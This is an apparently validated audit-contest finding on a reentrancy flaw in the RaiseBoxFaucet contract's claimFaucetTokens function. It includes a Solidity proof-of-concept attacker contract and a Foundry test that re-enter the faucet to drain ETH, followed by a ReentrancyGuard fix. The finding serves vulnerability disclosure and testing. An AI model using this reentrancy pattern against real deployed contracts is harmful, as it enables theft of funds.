Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `RaiseBoxFaucet::claimFaucetTokens` Enables ETH Drain by Malicious Contracts

The RaiseBoxFaucet::claimFaucetTokens function sends Sepolia ETH to first-time claimers using a low-level call:

(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");

This call transfers ETH without any reentrancy protection. If faucetClaimer is a malicious contract, it could re-enter claimFaucetTokens() or other vulnerable functions before state variables are updated, potentially bypassing cooldowns, limits, or draining funds.

Impact:

Malicious contracts can exploit reentrancy to repeatedly claim ETH.

Faucet funds can be drained beyond intended limits.

Cooldown and daily cap logic can be bypassed.

Undermines trust and security of the faucet protocol.

Proof of Concept:

Put this contract and test to the RaiseBoxFaucet.t.sol to make atest to cheak about the reentrancy of hacker

contract MaliciousClaimer {
RaiseBoxFaucet public faucet;
bool public attacked;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
receive() external payable {
if (!attacked) {
attacked = true;
faucet.claimFaucetTokens(); // re-enter faucet during ETH receive
}
}
function attack() external {
faucet.claimFaucetTokens();
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet public faucet;
MaliciousClaimer public attacker;
function setUp() public {
faucet = new RaiseBoxFaucet("TestToken", "TTK", 1000 ether, 0.005 ether, 1 ether);
vm.deal(address(faucet), 1 ether); // fund faucet with ETH
attacker = new MaliciousClaimer(address(faucet));
vm.deal(address(attacker), 0.1 ether);
}
function testReentrancyAttack() public {
vm.prank(address(attacker));
attacker.attack();
// If reentrancy succeeded, attacker.claimed twice
// Check faucet balance to confirm ETH drain
assertLt(address(faucet).balance, 1 ether - 0.005 ether, "Reentrancy allowed multiple ETH claims");
}
}

Recommended Mitigation:

Use OpenZeppelin’s ReentrancyGuard and apply the nonReentrant modifier to claimFaucetTokens():

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {

This ensures that no external call can re-enter the function before state updates complete

Updates

Lead Judging Commences

inallhonesty Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.